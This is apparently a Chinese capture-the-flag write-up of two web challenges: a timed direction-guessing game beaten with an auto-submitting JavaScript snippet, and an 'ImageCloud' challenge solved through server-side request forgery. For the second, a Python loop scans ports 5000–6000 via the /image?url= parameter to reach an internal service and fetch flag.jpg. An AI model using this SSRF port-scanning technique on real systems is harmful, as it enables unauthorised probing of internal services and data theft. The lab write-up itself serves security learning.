<p>你可定坐中央,先后将有五波数字抛出,你需要在3秒内按要求说出方位</p>
<p>示例:1 -> 北方</p>
<p>2,3 -> 东北方一个,东方一个</p>
<p>输入选手名字和 "弟子明白" 开始游戏</p>
<div class="parent">
<img src="/static/images/test.png" id="imgs">
</div>
<form action="/restart" method="get" id="div_restart">
<label for="restart">按下按钮重新开始:</label>
<button id="restart">开始</button>
<br><br>
</form>
<form action="/" method="post" id="submit">
<label for="player">请输入选手名字:</label>
<input type="text" id="player" name="player">
<br><br>
<label for="direct">请回答问题:</label>
<input type="text" id="direct" name="direct">
<br><br>
<label for="say">按下按钮回答:</label>
<button id="say">回答</button>
</form>
<h1 id="status">
4, 2
</h1>
</body>
</html>
直接写个js
自动获取,本来想直接循环的,但是每次提交之后刚刚运行的js
好像没了(?,直接gpt
写了一段js
然后多次运手动行
const directionMap = {
'1': '北',
'2': '东北',
'3': '东',
'4': '东南',
'5': '南',
'6': '西南',
'7': '西',
'8': '西北'
};
// 定义一个函数来处理方向数字并生成答案
function handleDirections(directions) {
let answer = '';
const directionArray = directions.split(',').map(direction => direction.trim()); // 去除空格
if (directionArray.length === 1) {
// 如果只有一个方向,直接输出
answer = directionMap[directionArray[0]] + '方';
} else {
// 如果有多个方向,按照格式输出
directionArray.forEach((direction, index) => {
answer += directionMap[direction] + '方一个';
if (index < directionArray.length - 1) {
answer += ',';
}
});
}
return answer;
}
// 获取当前页面的方向数字
const directions = document.getElementById('status').textContent;
console.log('方向:', directions);
const answer = handleDirections(directions);
console.log('自动生成的答案:', answer);
// 如果你想自动填写到表单并提交,可以取消以下注释
document.getElementById('player').value = 'test';
document.getElementById('direct').value = answer;
document.getElementById('submit').submit();
ImageCloud
给了源码,存在static、uploads
两个文件夹和app.py 、app1.py
两个flask
源码,其中app.py
端口在5000
可以访问static
,app1.py
端口是随机的可以访问uploads
,flag.jpg
在uploads
,但是直接访问题目运行的是app.py
,通过url/image?url=localhost:5000/static/filename
可以访问app.py
上传上去在static
中的图片,app1.py
通过localhost:port/image/filename
可以访问uploads
中的图片,所以直接扫5001-6000
的端口找出app1.py
运行在哪直接访问flag.jpg
获取flag
import requests
for i in range(5000, 6001):
url = 'http://192.168.56.1:55956/image?url=http://localhost:' + str(i) + '/image/flag.jpg'
print('port = ' + str(i) + '\nres = ' + requests.get(url, timeout=5).text + '\n')